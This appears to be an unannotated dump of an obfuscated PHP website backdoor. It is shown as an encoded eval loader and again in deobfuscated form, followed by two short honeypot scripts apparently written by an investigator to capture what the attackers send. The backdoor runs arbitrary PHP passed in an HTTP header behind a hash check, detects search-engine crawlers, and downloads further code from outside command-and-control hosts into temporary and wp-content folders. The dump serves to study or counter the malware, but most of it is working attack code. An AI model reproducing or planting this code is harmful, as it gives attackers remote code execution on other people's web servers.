vQXlQZUxhV1ExV1k4U0JNc29MVnFCaHd0dG55UDRZU2hqQlhhaWdkdityc0txck9GSmFxckVFMEZ4VlorQXZyb3FxNmtZMlZCMGNuYWVGVjIvYUIwbGMyZGYzS2lzZmVrZWJJZmtlQTI5RjJoMFdnVzRiK04xMlNGNVdGVjJwaEdvcGY1SHE1dkcwN2xnMkU3L24zRlA1ZFp3VS9KM0I0VVM2OUNrWlpMMWhGdDllM2dYOW4wVGExOFBobHVyanovRm1EMGZ1QzVhY1hQNkdtejhHNGxCZjZ0TTZuUjJ5NW82WW1WeTh5eWNrSk1kNDBOVG10MlArUWpsbEZ3OEtvUWkvVnZIQTZJOUVvazBoblVXT0FEQzltZ2oxdmsyek5ERm82MTlJcTRkNHVSYWhTdDcvWkR4V294SnNHT1hsUDJIeDlqelBaamtPVVJIdUNkdlhPQkdHR2hZOFpvVjhEYWltbVJjL0ZHZmtxUVh2QXRYM2NRc2ZtdjFrdW5iUG5ab1VxeDhIZGRBR3ArYVpZRHloNmpMM3NKRzRKdS8wK0JLaG55Z0tDZEZlY3dabnFqcmtOZjM3RkdJNEF5THRheEttSk9IWkhEQUJacTNFaG9xYmRxRzdoSkJpYUQzcWFUQTVmSVVjdXFZZ2QwTjR6WmJMZkdPNUNqemlPQ3JsaVcyN0JjNTRCL2tKOG1vejAwTnVPaWVtTXNweXR3a2Rvc0FBYlpWVVFsUUwzM3lvLzZDeW8zR1lDWEpIWXFwVDFoK2d4d2dCcStLYkVIMm8rRG9aaXVGV0lmVkFYM2h4OVROY3JlR1VjSFF6MUVOUGJ4MWdqWWh6bUMreDd6ejZ6SlJzVGVqQ2ZIWVF0Wi9BQkkxWXRtNTB1U0hWTUdBME5oa3VWNC8wT3dpSEpBWGVEZFp5ekVGYVNQNGJxZlVCWkY0anBDaUFpQ0s2OG0ya1FtTlluYndGZzd5Kytnb1hiaThVRkhGVkIyOWoxRjNtKyttTVEybDZ6MyszaWNRUE5TOXQ4czIxYkVVemkwMTBhUDFjazczS3FLWlhIZFBuNWxqN3NVNllsYVRyN1VyK2hmNEpYZXhRbElPeWc5bko1MkFHNHJOWUJsdyttcHQ1SkFCamsxZkxuMC9aVUxROXRLVlFjNElaUTVReDRleld2QW9KVmo2M3UrNnJZajlTSVUwU3hTWWlqNVRaR1ZxNCtSZkNVeDN6MUkyRjdrdElaWENna2NVeCtnUDFmR2lYTGNTbXVqVVZoaXhaSnF1bUlZQS93OGtMa2VtclVpcWt2NmtWdmo3ckRCTlRidnFzUm9hbkd5eGFSZTVKdno5M0padDNYTmkwMTdCUStXZ29PRWY0QXoyRmxXek8zcVN5dHlybCtGeXZkVXRySGYvRytWQ25RRmJneVlKcGExem1VNkh3QVFEc0lFUGdxMTFWbTFmUG1jN3VDa2M0SUVSQ25veHc5YXNMc3phbHFRYmR4TzVFMUtDSlJjUnhiUGxBT2x6cWpoMTVXdXd1TVJkOVZialM1M2UyVVVBS2ZFT3ozS3RGU0gvU3hPOElSMGFwZ3Bvc2czelZsVlR6SDNKQUZBbHNaM0hBZ3VGZTRZNDdseXVVaFlmTDNxZEh0RGNSM3pON1UwT3REZFd1QXQvWWNHY0xUK2pDK1pKdmhKdVMvblNuQ2hWYkpQWEpkNFozb0h0QWgvSjFFY2w4OFdCTTFtNzJ1U0l3c0pyWE9UM2JZVVNqWk9CUExic0J0RHZ1WUdjbzJMTmU0ZjVtd2lIQnFLUi9WRDZrZGZvaWxybHkwcEtEY3NESGM3aEtXdDcyKzE0Z2h2N3pLNnNmczgyd1hQaHIxamdCZ0RKUGRtZ1ZaR3JJOVRxM2pkV0xoTXd1dFNlUlJlN25FKzFwNCttSUJxRWVzZHlZS1VIZldXeWRNdGI0RHB0UUNxVWh5SmNJRm05UUdYVzhnVnl4TDNhb1MxaHVKaFVZRFE1MHhGSTY5NzZpKzNaVWlzZ2ZGVWo2WFMvbTdyMWdVZ0dXMStwQWROd1ZWb3EvNk5EbU1UR3EzK2g4cWFYNkIiKSkpOwWn=&kcHJlZ19yZXBsYWNl';

      function I11lIl1I($a, $b){ 
        $c=$GLOBALS['II11'];
        $d=pack('H*','6261736536345f6465636f'.'6465');
        return $d(substr($c, $a, $b));
      };

      $QO0000QQ0 = I11lIl1I(3374, 16);
      $QO0000QQ0("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");
    };
eval(gzuncompress(base64_decode("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")));
if (!defined("determinator")) {
  if (function_exists(I11lIl1I(1, 10))) { 
    @ini_set(I11lIl1I(14, 20), 1);
    @ini_set(I11lIl1I(34, 19), 0);
  }

  function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
    $I1lI1I = microtime(true);
    return feof($Q0OOOQ);
  }

  function w3net_getfile($I1ll11, $I11IIl) {
    $IIlI1I = "curl";
    $I1IIll = $IIlI1I."_init";
    if (@ini_get("allow_url_fopen") == "1") {
      return @file_get_contents("http://" . $I1ll11 . $I11IIl. "&w=fgc");
    } elseif (function_exists($I1IIll)){
      $QO00QO = @$I1IIll();
      $QOOOQQ = $IIlI1I."_setopt";
      $IIl11I = $IIlI1I."_exec";
      @$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl. "&w=cu");
      @$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
      @$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
      @$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
      $IIIl1I = @$IIl11I($QO00QO);
      @curl_close($QO00QO);
      if (empty($IIIl1I)) {
        $IIIl1I = "";
      }
      return $IIIl1I;
    } else {
      $Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
      if ($Q0OOOQ) {
        $I111lI = "";
        $I1lI1I = NULL;
        @fputs($Q0OOOQ, "GET {$I11IIl}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$I1ll11}\r\n");
        $QOOOQO = PHP_OS."/".PHP_VERSION;
        @fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
        while(!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
          $I111lI .= @fgets($Q0OOOQ, 128);
        }
        @fclose($Q0OOOQ);
        $Q000OQ = explode("\r\n\r\n", $I111lI);
        unset($Q000OQ[0]);
        return implode("\r\n\r\n", $Q000OQ);
      }
    }
  }

  function w3net_output($I1I1lI, $I1lIll) {
    echo "Y_".$I1I1lI.":".$I1lIll."\r\n";
  }

  function php_server($Q0000Q){
    return @$_SERVER[$Q0000Q];
  }

  $IlI11l=I11lIl1I(55, 14);
  $I1lll1=I11lIl1I(69, 6);
  $Q0Q0QO=I11lIl1I(78, 23);
  $I1ll11=I11lIl1I(102, 10);
  if (isset($_SERVER[I11lIl1I(114, 7)])) {
    if (@$_SERVER[I11lIl1I(114, 7)] != I11lIl1I(122, 4)) { $I1ll11=I11lIl1I(130, 11); }
  }
  $I1ll11.=strtolower(@$_SERVER[I11lIl1I(142, 12)]);

  foreach ($_GET as $I1I1lI=>$I1lIll) {
    if (strpos($I1lIll,I11lIl1I(157, 7))) {
      $_GET[$I1I1lI]=I11lIl1I(167, 0);
    } elseif (strpos($I1lIll,I11lIl1I(167, 8))) {
      $_GET[$I1I1lI]=I11lIl1I(167, 0);
    }
  }

  if(!isset($_SERVER[I11lIl1I(175, 15)])) {
    $_SERVER[I11lIl1I(175, 15)] = @$_SERVER[I11lIl1I(190, 15)];
    if(isset($_SERVER[I11lIl1I(211, 16)])) {
      $_SERVER[I11lIl1I(175, 15)] .= I11lIl1I(231, 2) . @$_SERVER[I11lIl1I(211, 16)];
    }
  }

  function get_temp_directory() {
    $I11III=dirname(__FILE__).DIRECTORY_SEPARATOR;
    $Q0Q00Q = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III."tmp", $I11III."wp-content/uploads", $I11III."wp-content/cache", );

    foreach ($Q0Q00Q as $Q0QOOO){ 
      if (!empty($Q0QOOO)){
        $Q0QOOO.=DIRECTORY_SEPARATOR;
        if (@is_writable($Q0QOOO)) {
          $I11III = $Q0QOOO; break;
        }
      }
    }

    return $I11III;
  }

  if (strlen($I1ll11) < 10) {
    define(I11lIl1I(235, 16), 0);

  } elseif ($Q0OO0O=$I1ll11.@$_SERVER[I11lIl1I(175, 15)]) {
    $QO0O0Q=@md5($I1ll11.PHP_OS.$I1lll1.$Q0Q0QO);
    $w3n_code=get_temp_directory().I11lIl1I(253, 2).$QO0O0Q;
    define(I11lIl1I(235, 16), $w3n_code);
    $IlIlII = $w3n_code.I11lIl1I(257, 6);
    if (@$_SERVER[I11lIl1I(267, 15)]==$QO0O0Q) {
      $QO0QQ0=I11lIl1I(282, 18);
      echo "\r\n";
      w3net_output(I11lIl1I(301, 8), $I1lll1.I11lIl1I(310, 2).$IlI11l.I11lIl1I(314, 6));
      if ($Q00OQO=$QO0QQ0(@$_SERVER[I11lIl1I(321, 16)])){
        @eval($Q00OQO);
        echo "\r\n";
        w3net_output(I11lIl1I(338, 4), I11lIl1I(342, 3));
      }
      exit(0);
    }
    $II11l1 = False;
    $Il11I1 = @strtolower(@$_SERVER[I11lIl1I(346, 20)]);
    foreach (explode(I11lIl1I(366, 2), I11lIl1I(371, 54)) as $QOOQOO) {
      if (strpos($Il11I1, $QOOQOO)!==False) {
        $Il1Il1 = @fopen($w3n_code.I11lIl1I(257, 6), I11lIl1I(430, 2));
        $Ill11I = @urlencode(@$_SERVER[I11lIl1I(175, 15)]);
        @fwrite($Il1Il1, time()."\t".$QOOQOO."\t".$Ill11I."\n");
        @fclose($Il1Il1);
        $II11l1=True;
        break;
      }
    }
    if (@is_file($w3n_code)) {
      @touch($w3n_code);
      @include_once($w3n_code);
    } elseif ($II11l1 === True) {
      $I1Il1I = Array(I11lIl1I(435, 12), I11lIl1I(449, 16));
      if (@touch($w3n_code)) {
        $Q0OO0O=@urlencode($Q0OO0O);
        $I11IIl = I11lIl1I(465, 14).$Q0OO0O.I11lIl1I(482, 4).$QO0O0Q.I11lIl1I(487, 12).$IlI11l.I11lIl1I(503, 4).$I1lll1;
        $QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
        @touch($w3n_code);
      }
    }
  } else {
    define(I11lIl1I(235, 16), 1);
  }
}
if (!defined("determinator")) {
  if (function_exists("ini_set")) { 
    @ini_set("allow_url_fopen", 1);
    @ini_set("display_errors", 0);
  }

  function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
    $I1lI1I = microtime(true);
    return feof($Q0OOOQ);
  }

  function w3net_getfile($I1ll11, $I11IIl) {
    $IIlI1I = "curl";
    $I1IIll = $IIlI1I."_init";
    if (@ini_get("allow_url_fopen") == "1") {
      return @file_get_contents("http://" . $I1ll11 . $I11IIl. "&w=fgc");
    } elseif (function_exists($I1IIll)){
      $QO00QO = @$I1IIll();
      $QOOOQQ = $IIlI1I."_setopt";
      $IIl11I = $IIlI1I."_exec";
      @$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl. "&w=cu");
      @$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
      @$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
      @$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
      $IIIl1I = @$IIl11I($QO00QO);
      @curl_close($QO00QO);
      if (empty($IIIl1I)) {
        $IIIl1I = "";
      }
      return $IIIl1I;
    } else {
      $Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
      if ($Q0OOOQ) {
        $I111lI = "";
        $I1lI1I = NULL;
        @fputs($Q0OOOQ, "GET {$I11IIl}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$I1ll11}\r\n");
        $QOOOQO = PHP_OS."/".PHP_VERSION;
        @fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
        while(!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
          $I111lI .= @fgets($Q0OOOQ, 128);
        }
        @fclose($Q0OOOQ);
        $Q000OQ = explode("\r\n\r\n", $I111lI);
        unset($Q000OQ[0]);
        return implode("\r\n\r\n", $Q000OQ);
      }
    }
  }

  function w3net_output($I1I1lI, $I1lIll) {
    echo "Y_".$I1I1lI.":".$I1lIll."\r\n";
  }

  function php_server($Q0000Q){
    return @$_SERVER[$Q0000Q];
  }

  $IlI11l="ftp/201309";
  $I1lll1="3.01";
  $Q0Q0QO="QQ0OQ000000Q0OQ0Q";
  $I1ll11="http://";
  if (isset($_SERVER["HTTPS"])) {
    if (@$_SERVER["HTTPS"] != "off") { $I1ll11="https://"; }
  }
  $I1ll11.=strtolower(@$_SERVER["HTTP_HOST"]);

  foreach ($_GET as $I1I1lI=>$I1lIll) {
    if (strpos($I1lIll,"union")) {
      $_GET[$I1I1lI]="";
    } elseif (strpos($I1lIll,"select")) {
      $_GET[$I1I1lI]="";
    }
  }

  if(!isset($_SERVER["REQUEST_URI"])) {
    $_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"];
    if(isset($_SERVER["QUERY_STRING"])) {
      $_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"];
    }
  }

  function get_temp_directory() {
    $I11III=dirname(__FILE__).DIRECTORY_SEPARATOR;
    $Q0Q00Q = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III."tmp", $I11III."wp-content/uploads", $I11III."wp-content/cache", );

    foreach ($Q0Q00Q as $Q0QOOO){ 
      if (!empty($Q0QOOO)){
        $Q0QOOO.=DIRECTORY_SEPARATOR;
        if (@is_writable($Q0QOOO)) {
          $I11III = $Q0QOOO; break;
        }
      }
    }

    return $I11III;
  }

  if (strlen($I1ll11) < 10) {
    define("determinator", 0);

  } elseif ($Q0OO0O=$I1ll11.@$_SERVER["REQUEST_URI"]) {
    $QO0O0Q=@md5($I1ll11.PHP_OS.$I1lll1.$Q0Q0QO);
    $w3n_code=get_temp_directory().".".$QO0O0Q;
    define("determinator", $w3n_code);
    $IlIlII = $w3n_code.".log";
    if (@$_SERVER["HTTP_Y_AUTH"]==$QO0O0Q) {
      $QO0QQ0="base64_decode";
      echo "\r\n";
      w3net_output("versio", $I1lll1."-".$IlI11l."-php");
      if ($Q00OQO=$QO0QQ0(@$_SERVER["HTTP_EXECPHP"])){
        @eval($Q00OQO);
        echo "\r\n";
        w3net_output("out", "ok");
      }
      exit(0);
    }
    $II11l1 = False;
    $Il11I1 = @strtolower(@$_SERVER["HTTP_USER_AGENT"]);
    foreach (explode(",", "google,yahoo,baidu,bingbot,msnbot,yandex") as $QOOQOO) {
      if (strpos($Il11I1, $QOOQOO)!==False) {
        $Il1Il1 = @fopen($w3n_code.".log", "a");
        $Ill11I = @urlencode(@$_SERVER["REQUEST_URI"]);
        @fwrite($Il1Il1, time()."\t".$QOOQOO."\t".$Ill11I."\n");
        @fclose($Il1Il1);
        $II11l1=True;
        break;
      }
    }
    if (@is_file($w3n_code)) {
      @touch($w3n_code);
      @include_once($w3n_code);
    } elseif ($II11l1 === True) {
      $I1Il1I = Array("sezqo.net", "fastaddz.com");
      if (@touch($w3n_code)) {
        $Q0OO0O=@urlencode($Q0OO0O);
        $I11IIl = "/w3.php?u=".$Q0OO0O."&k=".$QO0O0Q."&t=php&p=".$IlI11l."&v=".$I1lll1;
        $QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
        @touch($w3n_code);
      }
    }
  } else {
    define("determinator", 1);
  }
}
<?php   
$hash = "c1a227ac6f77c4ad098144a61dd906a0";

$code = base64_decode(@$_SERVER["HTTP_EXECPHP"]);
$auth = $_SERVER["HTTP_Y_AUTH"];

function store() {
  global $code, $auth;
  for($N=1; file_exists($fn);++$N) { $fn = "evilphpcode-".$N.txt"; }
  file_put_contents($fn, $code);
  file_put_contents($fn."-hash", $auth);
}

if ($auth != $hash) { echo "Hi there ;-)"; store(); exit(0); }

$version1="ftp/201309"; $version2="3.01";
function out($key, $val) { echo "Y_".$key.":".$val."\r\n"; }
out("versio", $version2."-".$version1."-php");
sleep(1); store();
echo "\r\n";
out("out", "ok");

?>
<?php
$hash = "c1a227ac6f77c4ad098144a61dd906a0";
$url = "http://mydomain.com/path/toscript/script.php"; // <-- put in first scripts location!!!

$url = urlencode($url);
$urltofetch = "http://sezqo.net/w3.php?u=".$url."&k=".$hash."&t=php&p=".$version1."&v=".$version2;
$data = file_get_contents($urltofetch);
echo "OK, request sent!";
?>